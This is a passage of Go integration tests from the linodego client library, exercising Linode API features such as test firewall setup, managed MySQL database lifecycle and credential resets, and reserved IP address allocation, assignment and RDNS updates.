t.Fatal(err) } }() // Ensure the longview plan was updated correctly if updatedLongviewPlan.ID != "longview-10" { t.Errorf("Longview plan not updated") } } func contains(arr []string, elem string) bool { for _, curr := range arr { if curr == elem { return true } } return false } golang-github-linode-linodego-1.47.0/test/integration/main_test.go000066400000000000000000000047271474652371000252370ustar00rootroot00000000000000package integration import ( "context" "fmt" "io" "log" "net/http" "os" "testing" "time" "github.com/linode/linodego" ) var ( client *linodego.Client cleanup func() firewallID int fixturesYaml = "fixtures/TestLinodeCloudFirewall" ) func TestMain(m *testing.M) { if envFixtureMode, ok := os.LookupEnv("LINODE_FIXTURE_MODE"); ok { switch envFixtureMode { case "record": setupCloudFirewall(nil) case "play": log.Printf("[INFO] Fixture mode play - Test Linode Cloud Firewall not created") } } code := m.Run() if envFixtureMode, ok := os.LookupEnv("LINODE_FIXTURE_MODE"); ok && envFixtureMode == "record" { deleteCloudFirewall() } os.Exit(code) } func setupCloudFirewall(t *testing.T) { client, cleanup = createTestClient(t, fixturesYaml) publicIPv4, err := getPublicIPv4() if err != nil { t.Fatalf("[ERROR] Failed to retrieve public IPv4: %v", err) } firewallRuleSet := getDefaultFirewallRuleSet(publicIPv4) firewallLabel := fmt.Sprintf("cloudfw-%d", time.Now().UnixNano()) firewall, err := client.CreateFirewall(context.Background(), linodego.FirewallCreateOptions{ Label: firewallLabel, Rules: firewallRuleSet, }) if err != nil { log.Printf("[ERROR] Error creating firewall: %v\n", err) os.Exit(1) } firewallID = firewall.ID log.Printf("[INFO] Created Test Linode Cloud Firewall with ID: %d\n", firewallID) } func deleteCloudFirewall() { if firewallID != 0 { err := client.DeleteFirewall(context.Background(), firewallID) if err != nil { log.Printf("[ERROR] Error deleting Cloud Firewall: %v\n", err) os.Exit(1) } log.Printf("[INFO] Deleted Test Linode Cloud Firewall with ID: %d\n", firewallID) } } func getDefaultFirewallRuleSet(publicIPv4 string) linodego.FirewallRuleSet { cloudFirewallRule := linodego.FirewallRule{ Label: "ssh-inbound-accept-local", Action: "ACCEPT", Ports: "22", Protocol: "TCP", Addresses: linodego.NetworkAddresses{IPv4: &[]string{publicIPv4}}, } return linodego.FirewallRuleSet{ Inbound: []linodego.FirewallRule{cloudFirewallRule}, InboundPolicy: "DROP", Outbound: []linodego.FirewallRule{}, OutboundPolicy: "ACCEPT", } } func getPublicIPv4() (string, error) { resp, err := http.Get("https://api.ipify.org?format=text") if err != nil { return "", err } defer resp.Body.Close() body, err := io.ReadAll(resp.Body) if err != nil { return "", err } return string(body) + "/32", nil } func GetFirewallID() int { return firewallID } golang-github-linode-linodego-1.47.0/test/integration/mysql_test.go000066400000000000000000000133471474652371000254560ustar00rootroot00000000000000package integration import ( "context" "reflect" "testing" "time" "github.com/dnaeon/go-vcr/recorder" "github.com/google/go-cmp/cmp" "github.com/linode/linodego" ) func TestDatabase_MySQL_Suite(t *testing.T) { client, database, teardown, err := setupMySQLDatabase(t, nil, "fixtures/TestDatabase_MySQL_Suite") if err != nil { t.Error(err) } defer teardown() mysqldbs, err := client.ListMySQLDatabases(context.Background(), nil) if len(mysqldbs) == 0 { t.Errorf("Expected a list of Databases, but got none: %v", err) } if err != nil { t.Errorf("Error listing Databases, expected struct, got error %v", err) } success := false for _, db := range mysqldbs { if db.ID == database.ID { success = true } } if !success { t.Error("database not in database list") } db, err := client.GetMySQLDatabase(context.Background(), database.ID) if err != nil { t.Errorf("Error viewing mysql database: %v", err) } if db.ID != database.ID { t.Errorf("got wrong db from GetMySQLDatabase: %v", db) } updatedWindow := linodego.DatabaseMaintenanceWindow{ DayOfWeek: linodego.DatabaseMaintenanceDayWednesday, Duration: 4, Frequency: linodego.DatabaseMaintenanceFrequencyWeekly, HourOfDay: 8, Pending: []linodego.DatabaseMaintenanceWindowPending{}, } allowList := []string{"128.173.205.21", "123.177.200.20"} updatedLabel := database.Label + "-updated" opts := linodego.MySQLUpdateOptions{ AllowList: &allowList, Label: updatedLabel, Updates: &updatedWindow, } db, err = client.UpdateMySQLDatabase(context.Background(), database.ID, opts) if err != nil { t.Errorf("failed to update db %d: %v", database.ID, err) } waitForDatabaseUpdated(t, client, db.ID, linodego.DatabaseEngineTypeMySQL, db.Created) if db.ID != database.ID { t.Errorf("updated db does not match original id") } if db.Label != updatedLabel { t.Errorf("label not updated for db") } if !reflect.DeepEqual(db.Updates, updatedWindow) { t.Errorf("db maintenance window does not match update opts: %v", cmp.Diff(db.Updates, updatedWindow)) } ssl, err := client.GetMySQLDatabaseSSL(context.Background(), database.ID) if err != nil { t.Errorf("failed to get ssl cert for db: %v", err) } if ssl == nil { t.Error("failed to get ssl cert for db") } creds, err := client.GetMySQLDatabaseCredentials(context.Background(), database.ID) if err != nil { t.Errorf("failed to get credentials for db: %v", err) } if testingMode == recorder.ModeRecording { time.Sleep(time.Minute * 5) } err = client.ResetMySQLDatabaseCredentials(context.Background(), database.ID) if err != nil { t.Errorf("failed to reset credentials for db: %v", err) } if testingMode == recorder.ModeRecording { time.Sleep(time.Second * 15) } newcreds, err := client.GetMySQLDatabaseCredentials(context.Background(), database.ID) if err != nil { t.Errorf("failed to get new credentials for db: %v", err) } if creds.Password == newcreds.Password { t.Error("credentials have not changed for db") } if err := client.PatchMySQLDatabase(context.Background(), database.ID); err != nil { t.Fatalf("failed to patch database: %s", err) } // Wait for the DB to enter updating status if err := client.WaitForDatabaseStatus( context.Background(), database.ID, linodego.DatabaseEngineTypeMySQL, linodego.DatabaseStatusUpdating, 240); err != nil { t.Fatalf("failed to wait for database updating: %s", err) } // Wait for the DB to re-enter active status if err := client.WaitForDatabaseStatus( context.Background(), database.ID, linodego.DatabaseEngineTypeMySQL, linodego.DatabaseStatusActive, 2400); err != nil { t.Fatalf("failed to wait for database updating: %s", err) } } type mysqlDatabaseModifier func(options *linodego.MySQLCreateOptions) func createMySQLDatabase(t *testing.T, client *linodego.Client, databaseMofidiers []mysqlDatabaseModifier, ) (*linodego.MySQLDatabase, func(), error) { t.Helper() createOpts := linodego.MySQLCreateOptions{ Label: "go-mysql-test-def" + randLabel(), Region: getRegionsWithCaps(t, client, []string{"Managed Databases"})[0], Type: "g6-nanode-1", Engine: "mysql/8", ClusterSize: 3, AllowList: []string{"203.0.113.1", "192.0.1.0/24"}, } for _, modifier := range databaseMofidiers { modifier(&createOpts) } database, err := client.CreateMySQLDatabase(context.Background(), createOpts) if err != nil { t.Fatalf("failed to create database: %s", err) } // We should retry on db cleanup teardown := func() { ctx, cancel := context.WithTimeout(context.Background(), 180*time.Second) defer cancel() ticker := time.NewTicker(client.GetPollDelay()) defer ticker.Stop() for { select { case <-ticker.C: err := client.DeleteMySQLDatabase(ctx, database.ID) if err == nil { return } if lErr, ok := err.(*linodego.Error); ok && lErr.Code == 500 { continue } t.Fatalf("failed to delete database: %s", err) case <-ctx.Done(): t.Fatalf("failed to retry database deletion: %s", ctx.Err()) } } } return database, teardown, nil } func setupMySQLDatabase(t *testing.T, databaseMofidiers []mysqlDatabaseModifier, fixturesYaml string, ) (*linodego.Client, *linodego.MySQLDatabase, func(), error) { t.Helper() now := time.Now() client, fixtureTeardown := createTestClient(t, fixturesYaml) database, databaseTeardown, err := createMySQLDatabase(t, client, databaseMofidiers) if err != nil { t.Fatalf("failed to create db: %s", err) } _, err = client.WaitForEventFinished(context.Background(), database.ID, linodego.EntityDatabase, linodego.ActionDatabaseCreate, now, 5400) if err != nil { t.Fatalf("failed to wait for db create event: %s", err) } teardown := func() { databaseTeardown() fixtureTeardown() } return client, database, teardown, err } golang-github-linode-linodego-1.47.0/test/integration/network_ips_test.go000066400000000000000000000634661474652371000266640ustar00rootroot00000000000000package integration import ( "context" "fmt" "strings" "testing" "github.com/stretchr/testify/require" "github.com/linode/linodego" . "github.com/linode/linodego" ) func TestIPAddress_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestIPAddress_GetMissing") defer teardown() doesNotExist := "10.0.0.1" i, err := client.GetIPAddress(context.Background(), doesNotExist) if err == nil { t.Errorf("should have received an error requesting a missing ipaddress, got %v", i) } e, ok := err.(*Error) if !ok { t.Errorf("should have received an Error requesting a missing ipaddress, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing ipaddress, got %v", e.Code) } } func TestIPAddress_GetFound_smoke(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddress_GetFound", true) defer teardown() if err != nil { t.Errorf("Error creating IPAddress test Instance, got error %v", err) } address := instance.IPv4[0].String() i, err := client.GetIPAddress(context.Background(), address) if err != nil { t.Errorf("Error getting ipaddress, expected struct, got %v and error %v", i, err) } if i.Address != address { t.Errorf("Expected a specific ipaddress, but got a different one %v", i) } // Test for fetching reserved IP // First, create a reserved IP reservedIP, err := client.ReserveIPAddress(context.Background(), linodego.ReserveIPOptions{ Region: instance.Region, }) if err != nil { t.Fatalf("Failed to reserve IP: %v", err) } defer func() { err := client.DeleteReservedIPAddress(context.Background(), reservedIP.Address) if err != nil { t.Errorf("Failed to delete reserved IP: %v", err) } }() // Now get the reserved IP newReservedIP, err := client.GetIPAddress(context.Background(), reservedIP.Address) if err != nil { t.Fatalf("Error getting reserved IP address: %v", err) } if newReservedIP.Address != reservedIP.Address { t.Errorf("Expected IP address %s, but got %s", reservedIP.Address, i.Address) } if !newReservedIP.Reserved { t.Errorf("Expected reserved IP to have Reserved=true, but got false") } } func TestIPAddresses_List_smoke(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddresses_List", true) defer teardown() if err != nil { t.Errorf("Error creating IPAddress test Instance, got error %v", err) } filter := fmt.Sprintf("{\"linode_id\":%d}", instance.ID) i, err := client.ListIPAddresses(context.Background(), NewListOptions(0, filter)) if err != nil { t.Errorf("Error listing ipaddresses, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of ipaddresses, but got none %v", i) } // Set the RDNS for the IPv6 addresses for _, ip := range i { if ip.Type != "ipv6" || !ip.Public || ip.RDNS == "" { continue } rdns := fmt.Sprintf("%s.nip.io", ip.Address) _, err = client.UpdateIPAddressV2(context.Background(), ip.Address, IPAddressUpdateOptionsV2{ RDNS: linodego.Pointer(linodego.Pointer(rdns)), }) if err != nil { t.Fatalf("Failed to set RDNS for IPv6 address: %v", err) } } // Retrieve the networking info without IPv6 RDNS i, err = client.ListIPAddresses(context.Background(), &ListOptions{ QueryParams: ListIPAddressesQuery{ SkipIPv6RDNS: true, }, }) if err != nil { t.Errorf("Error listing ipaddresses, expected struct, got error %v", err) } // Validate that the IPv6 address RDNS field is not returned for _, ip := range i { if strings.Contains(string(ip.Type), "ipv6") && ip.RDNS != "" { t.Fatalf("expected empty rdns for ipv6 address; got %s", ip.RDNS) } } reservedFilter := "{\"reserved\":true}" reservedIpAddresses, err := client.ListIPAddresses(context.Background(), NewListOptions(0, reservedFilter)) if err != nil { t.Errorf("Error listing ipaddresses, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of ipaddresses, but got none %v", reservedIpAddresses) } // Verify that all IPs in the reserved list are actually reserved for _, ip := range reservedIpAddresses { if !ip.Reserved { t.Errorf("IP %s is in the reserved list but has Reserved field set to false", ip.Address) } } unreservedFilter := "{\"reserved\":false}" unreservedIpAddresses, err := client.ListIPAddresses(context.Background(), NewListOptions(0, unreservedFilter)) if err != nil { t.Errorf("Error listing ipaddresses, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of ipaddresses, but got none %v", unreservedIpAddresses) } // Verify that all IPs in the reserved list are actually unreserved for _, ip := range unreservedIpAddresses { if ip.Reserved { t.Errorf("IP %s is in the non-reserved list but has Reserved field set to true", ip.Address) } } } func TestIPAddresses_Instance_Get(t *testing.T) { client, _, _, instance, config, teardown := setupInstanceWith3Interfaces(t, "fixtures/TestIPAddresses_Instance_Get") defer teardown() i, err := client.GetInstanceIPAddresses(context.Background(), instance.ID) if err != nil { t.Errorf("Error listing ipaddresses, expected struct, got error %v", err) } if i.IPv4.Public[0].Address != instance.IPv4[0].String() { t.Errorf("Expected matching public IP ipaddresses with GetInstanceIPAddress Instance IPAddress but got %v", i) } if *i.IPv4.VPC[0].Address != config.Interfaces[2].IPv4.VPC { t.Errorf("Expected matching VPC IP addresses with GetInstanceIPAddress Instance IPAddress but got %v", i) } } func TestIPAddress_Update(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddress_Update", true) defer teardown() if err != nil { t.Error(err) } reservedTrue := true reservedFalse := false address := instance.IPv4[0].String() i, err := client.GetInstanceIPAddresses(context.Background(), instance.ID) if err != nil { t.Errorf("Error getting ipaddress: %s", err) } originalRDNS := i.IPv4.Public[0].RDNS // Update RDNS to nip.io updateOpts := IPAddressUpdateOptionsV2{ RDNS: linodego.Pointer(linodego.Pointer(fmt.Sprintf("%s.nip.io", i.IPv4.Public[0].Address))), } ip, err := client.UpdateIPAddressV2(context.Background(), address, updateOpts) require.NoError(t, err) // Update RDNS to default updateOpts = IPAddressUpdateOptionsV2{ RDNS: linodego.Pointer[*string](nil), } ip, err = client.UpdateIPAddressV2(context.Background(), ip.Address, updateOpts) require.NoError(t, err) require.NotNil(t, ip) require.Equal(t, originalRDNS, ip.RDNS) createReservedIP := func() (string, error) { reservedIP, err := client.ReserveIPAddress(context.Background(), linodego.ReserveIPOptions{Region: instance.Region}) if err != nil { return "", err } return reservedIP.Address, nil } // Scenario 1: Convert ephemeral IP to reserved IP ephemeralIP := instance.IPv4[0].String() updateOpts = IPAddressUpdateOptionsV2{ Reserved: &reservedTrue, } updatedIP, err := client.UpdateIPAddressV2(context.Background(), ephemeralIP, updateOpts) if err != nil { t.Fatalf("Failed to convert ephemeral IP to reserved: %v", err) } if !updatedIP.Reserved { t.Errorf("Expected IP to be reserved, but it's not") } // Scenario 2: Convert reserved IP to reserved IP (no-op) reservedIP, err := createReservedIP() if err != nil { t.Fatalf("Failed to create reserved IP: %v", err) } defer client.DeleteReservedIPAddress(context.Background(), reservedIP) updateOpts = IPAddressUpdateOptionsV2{ Reserved: &reservedTrue, } updatedIP, err = client.UpdateIPAddressV2(context.Background(), reservedIP, updateOpts) if err != nil { t.Fatalf("Failed to update reserved IP: %v", err) } if !updatedIP.Reserved { t.Errorf("Expected IP to remain reserved, but it's not") } // Scenario 3: Convert reserved to ephemeral ephemeralIP = instance.IPv4[0].String() updateOpts = IPAddressUpdateOptionsV2{ Reserved: &reservedFalse, } updatedIP, err = client.UpdateIPAddressV2(context.Background(), ephemeralIP, updateOpts) if err != nil { t.Fatalf("Failed to update ephemeral IP: %v", err) } if updatedIP.Reserved { t.Errorf("Expected IP to remain ephemeral, but it's reserved") } // Scenario 4: Convert assigned reserved IP to ephemeral reservedIP, err = createReservedIP() if err != nil { t.Fatalf("Failed to create reserved IP: %v", err) } defer client.DeleteReservedIPAddress(context.Background(), reservedIP) // Assign the reserved IP to the instance assignOpts := LinodesAssignIPsOptions{ Region: instance.Region, Assignments: []LinodeIPAssignment{ { Address: reservedIP, LinodeID: instance.ID, }, }, } err = client.InstancesAssignIPs(context.Background(), assignOpts) if err != nil { t.Fatalf("Failed to assign reserved IP: %v", err) } updateOpts = IPAddressUpdateOptionsV2{ Reserved: &reservedFalse, } updatedIP, err = client.UpdateIPAddressV2(context.Background(), reservedIP, updateOpts) if err != nil { t.Fatalf("Failed to convert assigned reserved IP to ephemeral: %v", err) } if updatedIP.Reserved { t.Errorf("Expected IP to be converted to ephemeral, but it's still reserved") } // Scenario 5: Cannot set RDNS for unassigned reserved IP unassignedResIP, unassignedResIpErr := createReservedIP() if unassignedResIpErr != nil { t.Fatalf("Failed to create reserved IP: %v", unassignedResIpErr) } updateOpts = IPAddressUpdateOptionsV2{ Reserved: &reservedTrue, RDNS: linodego.Pointer(linodego.Pointer("sample rdns")), } _, err = client.UpdateIPAddressV2(context.Background(), unassignedResIP, updateOpts) if err == nil { t.Fatalf("Expected error when setting RDNS for unassigned reserved IP, but got none") } client.DeleteReservedIPAddress(context.Background(), unassignedResIP) // Scenario 6: Convert unassigned reserved IP to reserved (no-op) reservedIP, err = createReservedIP() if err != nil { t.Fatalf("Failed to create reserved IP: %v", err) } updateOpts = IPAddressUpdateOptionsV2{ Reserved: &reservedTrue, } updatedIP, err = client.UpdateIPAddressV2(context.Background(), reservedIP, updateOpts) if err != nil { t.Fatalf("Failed to update unassigned reserved IP: %v", err) } if !updatedIP.Reserved || updatedIP.LinodeID != 0 { t.Errorf("Expected IP to remain unassigned reserved, but got: %+v", updatedIP) } client.DeleteReservedIPAddress(context.Background(), reservedIP) // Scenario 7: Convert unassigned reserved IP to unassigned (delete) reservedIP, err = createReservedIP() if err != nil { t.Fatalf("Failed to create reserved IP: %v", err) } updateOpts = IPAddressUpdateOptionsV2{ Reserved: &reservedFalse, } _, err = client.UpdateIPAddressV2(context.Background(), reservedIP, updateOpts) if err != nil { t.Fatalf("Failed to convert unassigned reserved IP to unassigned: %v", err) } // Verify the IP has been deleted _, err = client.GetIPAddress(context.Background(), reservedIP) if err == nil { t.Errorf("Expected IP to be deleted, but it still exists") } // Scenario 10: Cannot convert non-owned reserved IP invalidResIp := "123.72.121.76" updateOpts = IPAddressUpdateOptionsV2{ Reserved: &reservedFalse, } updatedIP, err = client.UpdateIPAddressV2(context.Background(), invalidResIp, updateOpts) if err == nil { t.Fatalf("Expected error indicating the IP address is invalid, got nil") } } // TestIPAddress_Instance_Delete requires the customer account to have // default_IPMax set to at least 2 and default_InterfaceMax set to 3. func TestIPAddress_Instance_Delete(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddress_Instance_Delete", true) defer teardown() if err != nil { t.Error(err) } ip, err := client.AddInstanceIPAddress(context.TODO(), instance.ID, true) if err != nil { t.Fatalf("failed to allocate public IPv4 for instance (%d): %s", instance.ID, err) } i, err := client.GetInstanceIPAddresses(context.TODO(), instance.ID) if err != nil { t.Fatalf("failed to get instance (%d) IP addresses: %s", instance.ID, err) } if len(i.IPv4.Public) != 2 { t.Errorf("expected instance (%d) to have 2 public IPv4 addresses; got %d", instance.ID, len(i.IPv4.Public)) } if err := client.DeleteInstanceIPAddress(context.TODO(), instance.ID, ip.Address); err != nil { t.Fatalf("failed to delete instance (%d) public IPv4 address (%s): %s", instance.ID, ip.Address, err) } if i, err = client.GetInstanceIPAddresses(context.TODO(), instance.ID); err != nil { t.Fatalf("failed to get instance (%d) IP addresses: %s", instance.ID, err) } if len(i.IPv4.Public) != 1 { t.Errorf("expected instance (%d) to have 1 public IPv4 address; got %d", instance.ID, len(i.IPv4.Public)) } } func TestIPAddress_Instance_Assign(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddress_Instance_Assign", true) defer teardown() if err != nil { t.Error(err) } newInstance, err := createInstance(t, client, true, func(client *Client, options *InstanceCreateOptions) { options.Label = "go-ins-test-assign" options.Region = instance.Region }) defer func() { if err := client.DeleteInstance(context.Background(), newInstance.ID); err != nil { if t != nil { t.Errorf("Error deleting test Instance: %s", err) } } }() if err != nil { t.Error(err) } ipRange, err := client.CreateIPv6Range(context.Background(), IPv6RangeCreateOptions{ PrefixLength: 64, LinodeID: newInstance.ID, }) if err != nil { t.Error(err) } // IP reassignment err = client.InstancesAssignIPs(context.Background(), LinodesAssignIPsOptions{ Region: instance.Region, Assignments: []LinodeIPAssignment{ { LinodeID: instance.ID, Address: ipRange.Range, }, }, }) if err != nil { t.Error(err) } ips, err := client.GetInstanceIPAddresses(context.Background(), instance.ID) if err != nil { t.Error(err) } for _, r := range ips.IPv6.Global { if fmt.Sprintf("%s/%d", r.Range, r.Prefix) == ipRange.Range { return } } t.Errorf("failed to find assigned ip") } func TestIPAddress_Instance_Share(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddress_Instance_Share", true) defer teardown() if err != nil { t.Error(err) } newInstance, err := createInstance(t, client, true, func(client *Client, options *InstanceCreateOptions) { options.Label = "go-ins-test-share" options.Region = instance.Region }) defer func() { if err := client.DeleteInstance(context.Background(), newInstance.ID); err != nil { if t != nil { t.Errorf("Error deleting test Instance: %s", err) } } }() if err != nil { t.Error(err) } ip, err := client.AddInstanceIPAddress(context.Background(), newInstance.ID, true) if err != nil { t.Error(err) } // IP sharing err = client.ShareIPAddresses(context.Background(), IPAddressesShareOptions{ LinodeID: instance.ID, IPs: []string{ ip.Address, }, }) if err != nil { t.Error(err) } ips, err := client.GetInstanceIPAddresses(context.Background(), instance.ID) if err != nil { t.Error(err) } for _, r := range ips.IPv4.Shared { if r.Address == ip.Address { return } } t.Errorf("failed to find assigned ip") } func TestIPAddress_Instance_Allocate(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddress_Instance_Allocate", true) defer teardown() if err != nil { t.Fatal(err) } // Scenario 1: Valid request opts := AllocateReserveIPOptions{ Type: "ipv4", Public: true, Reserved: true, Region: instance.Region, LinodeID: instance.ID, } validIp, err := client.AllocateReserveIP(context.Background(), opts) // defer cleanUpIPAllocation(t, client, validIp.Address) if err != nil { t.Fatalf("Expected successful IP reservation, got error: %v", err) } if !validIp.Reserved || validIp.LinodeID != instance.ID { t.Errorf("Unexpected IP reservation result: %+v", validIp) } // Scenario 2: Non-owned Linode nonOwnedLinodeOpts := AllocateReserveIPOptions{ Type: "ipv4", Public: true, Reserved: true, Region: instance.Region, LinodeID: 99999, // Assume this is a non-owned Linode ID } _, nonOwnedLinodeErr := client.AllocateReserveIP(context.Background(), nonOwnedLinodeOpts) if nonOwnedLinodeErr == nil { t.Fatal("Expected error for non-owned Linode, got nil") } // Scenario 3: Omit Linode ID omitLinodeIDOpts := AllocateReserveIPOptions{ Type: "ipv4", Public: true, Reserved: true, Region: instance.Region, } omitLinodeIDip, omitLinodeErr := client.AllocateReserveIP(context.Background(), omitLinodeIDOpts) if omitLinodeErr != nil { t.Fatalf("Expected successful unassigned IP reservation, got error: %v", omitLinodeErr) } if !omitLinodeIDip.Reserved || omitLinodeIDip.LinodeID != 0 || omitLinodeIDip.Region != instance.Region { t.Errorf("Unexpected unassigned IP reservation result: %+v", omitLinodeIDip) } // Scenario 4: Omit Region omitRegionOpts := AllocateReserveIPOptions{ Type: "ipv4", Public: true, Reserved: true, LinodeID: instance.ID, } omitRegionip, omitRegionErr := client.AllocateReserveIP(context.Background(), omitRegionOpts) // defer cleanUpIPAllocation(t, client, omitRegionip.Address) if omitRegionErr != nil { t.Fatalf("Expected successful IP reservation without region, got error: %v", omitRegionErr) } if !omitRegionip.Reserved || omitRegionip.LinodeID != instance.ID { t.Errorf("Unexpected IP reservation result without region: %+v", omitRegionip) } cleanUpReserveIPAllocation(t, client, omitRegionip.Address) // Scenario 5: Omit both Region and Linode ID omitRegionAndLinodeIDopts := AllocateReserveIPOptions{ Type: "ipv4", Public: true, Reserved: true, } _, omitRegionAndLinodeIDerr := client.AllocateReserveIP(context.Background(), omitRegionAndLinodeIDopts) if omitRegionAndLinodeIDerr == nil { t.Fatal("Expected error when omitting both region and Linode ID, got nil") } // Scenario 6: Reserved true, Public false publicFalseOpts := AllocateReserveIPOptions{ Type: "ipv4", Public: false, Reserved: true, Region: instance.Region, LinodeID: instance.ID, } _, publicFalseErr := client.AllocateReserveIP(context.Background(), publicFalseOpts) if publicFalseErr == nil { t.Fatal("Expected error for reserved true and public false, got nil") } // Scenario 7: Reserved false reservedFalseOpts := AllocateReserveIPOptions{ Type: "ipv4", Public: true, Reserved: false, Region: instance.Region, LinodeID: instance.ID, } reservedFalseIp, reservedFalseErr := client.AllocateReserveIP(context.Background(), reservedFalseOpts) if reservedFalseErr != nil { t.Fatalf("Expected successful ephemeral IP assignment, got error: %v", reservedFalseErr) } if reservedFalseIp.Reserved || reservedFalseIp.LinodeID != instance.ID { t.Errorf("Unexpected ephemeral IP assignment result: %+v", reservedFalseIp) } cleanUpIPAllocation(t, client, instance.ID, reservedFalseIp.Address) // Scenario 8: Omit Reserved field omitReservedOpts := AllocateReserveIPOptions{ Type: "ipv4", Public: true, Region: instance.Region, LinodeID: instance.ID, } omitReservedip, omitReservedErr := client.AllocateReserveIP(context.Background(), omitReservedOpts) if omitReservedErr != nil { t.Fatalf("Expected successful IP assignment, got error: %v", omitReservedErr) } if omitReservedip.Reserved || omitReservedip.LinodeID != instance.ID { t.Errorf("Unexpected IP assignment result: %+v", omitReservedip) } cleanUpIPAllocation(t, client, instance.ID, omitReservedip.Address) // Scenario 9: Omit Linode ID, Reserved false omitOpts := AllocateReserveIPOptions{ Type: "ipv4", Public: true, Reserved: false, Region: instance.Region, } _, omitOptsErr := client.AllocateReserveIP(context.Background(), omitOpts) if omitOptsErr == nil { t.Fatal("Expected error when omitting Linode ID and setting reserved to false, got nil") } // Scenario 10: Omit Linode ID and Reserved fields omitIDResopts := AllocateReserveIPOptions{ Type: "ipv4", Public: true, Region: instance.Region, } _, omitIDResErr := client.AllocateReserveIP(context.Background(), omitIDResopts) if omitIDResErr == nil { t.Fatal("Expected error when omitting Linode ID and reserved fields, got nil") } // Scenario 11: Reserved true, Type IPv6 typeIPv6opts := AllocateReserveIPOptions{ Type: "ipv6", Public: true, Reserved: true, Region: instance.Region, LinodeID: instance.ID, } _, typeIPv6Err := client.AllocateReserveIP(context.Background(), typeIPv6opts) if typeIPv6Err == nil { t.Fatal("Expected error for reserved true and type IPv6, got nil") } // Scenario 12: Reserved false, Type IPv6 resFalseIPv6opts := AllocateReserveIPOptions{ Type: "ipv6", Public: true, Reserved: false, Region: instance.Region, LinodeID: instance.ID, } _, resFalseIPv6Err := client.AllocateReserveIP(context.Background(), resFalseIPv6opts) if resFalseIPv6Err == nil { t.Fatalf("Expected unsuccessful IPv6 assignment, got nil") } // Scenario 13: Region mismatch regionMismatchOpts := AllocateReserveIPOptions{ Type: "ipv4", Public: true, Reserved: true, Region: "us-west", // Assume this is different from instance.Region LinodeID: instance.ID, } _, regionMismatchErr := client.AllocateReserveIP(context.Background(), regionMismatchOpts) if regionMismatchErr == nil { t.Fatal("Expected error for region mismatch, got nil") } } func cleanUpReserveIPAllocation(t *testing.T, client *linodego.Client, address string) { err := client.DeleteReservedIPAddress(context.Background(), address) if err != nil { t.Logf("Failed to delete reserved IP %s: %v", address, err) } } func cleanUpIPAllocation(t *testing.T, client *linodego.Client, linodeID int, address string) { err := client.DeleteInstanceIPAddress(context.Background(), linodeID, address) if err != nil { t.Logf("Failed to delete reserved IP %s: %v", address, err) } } func TestIPAddress_Instance_ReserveIP_Assign(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestIPAddress_Instance_ReserveIP_Assign") defer teardown() // Create two Linodes for testing linode1, err := createInstance(t, client, true) if err != nil { t.Fatalf("Error creating first test Linode: %s", err) } defer func() { if err := client.DeleteInstance(context.Background(), linode1.ID); err != nil { t.Errorf("Error deleting first test Linode: %s", err) } }() linode2, err := createInstance(t, client, true) if err != nil { t.Fatalf("Error creating second test Linode: %s", err) } defer func() { if err := client.DeleteInstance(context.Background(), linode2.ID); err != nil { t.Errorf("Error deleting second test Linode: %s", err) } }() // Scenario 1: Assign unassigned reserved IP to existing Linode reservedIP, err := client.ReserveIPAddress(context.Background(), linodego.ReserveIPOptions{Region: linode1.Region}) if err != nil { t.Fatalf("Failed to reserve IP: %v", err) } defer cleanUpReserveIPAllocation(t, client, reservedIP.Address) err = client.InstancesAssignIPs(context.Background(), LinodesAssignIPsOptions{ Region: linode1.Region, Assignments: []LinodeIPAssignment{ { Address: reservedIP.Address, LinodeID: linode1.ID, }, }, }) if err != nil { t.Fatalf("Failed to assign reserved IP: %v", err) } // Verify assignment ip, err := client.GetIPAddress(context.Background(), reservedIP.Address) if err != nil { t.Fatalf("Failed to get IP address info: %v", err) } if !ip.Reserved || ip.LinodeID != linode1.ID { t.Errorf("Unexpected IP assignment result: %+v", ip) } // Scenario 2: Reassign reserved IP to different Linode reassignIP, reassignIPerr := client.ReserveIPAddress(context.Background(), linodego.ReserveIPOptions{Region: linode1.Region}) if reassignIPerr != nil { t.Fatalf("Failed to reserve IP: %v", err) } // Assign to first Linode assignErr := client.InstancesAssignIPs(context.Background(), LinodesAssignIPsOptions{ Region: linode1.Region, Assignments: []LinodeIPAssignment{ { Address: reassignIP.Address, LinodeID: linode1.ID, }, }, }) if assignErr != nil { t.Fatalf("Failed to assign reserved IP to first Linode: %v", assignErr) } // Reassign to second Linode reassignErr := client.InstancesAssignIPs(context.Background(), LinodesAssignIPsOptions{ Region: linode2.Region, Assignments: []LinodeIPAssignment{ { Address: reassignIP.Address, LinodeID: linode2.ID, }, }, }) if reassignErr != nil { t.Fatalf("Failed to reassign reserved IP: %v", reassignErr) } // Verify reassignment ipAddress, getIpErr := client.GetIPAddress(context.Background(), reassignIP.Address) if getIpErr != nil { t.Fatalf("Failed to get IP address info: %v", getIpErr) } if !ipAddress.Reserved || ipAddress.LinodeID != linode2.ID { t.Errorf("Unexpected IP reassignment result: %+v", ipAddress) } cleanUpReserveIPAllocation(t, client, reassignIP.Address) // Scenario 3: Attempt to assign non-owned reserved IP invalidIpErr := client.InstancesAssignIPs(context.Background(), LinodesAssignIPsOptions{ Region: linode1.Region, Assignments: []LinodeIPAssignment{ { Address: "192.0.2.1", // Assume this is a non-owned IP LinodeID: linode1.ID, }, }, }) if invalidIpErr == nil { t.Fatal("Expected error when assigning non-owned reserved IP, got nil") } // Scenario 4: Attempt to assign owned reserved IP to non-owned Linode validResIP, validResIPerr := client.ReserveIPAddress(context.Background(), linodego.ReserveIPOptions{Region: linode1.Region}) if validResIPerr != nil { t.Fatalf("Failed to reserve IP: %v", validResIPerr) } defer cleanUpReserveIPAllocation(t, 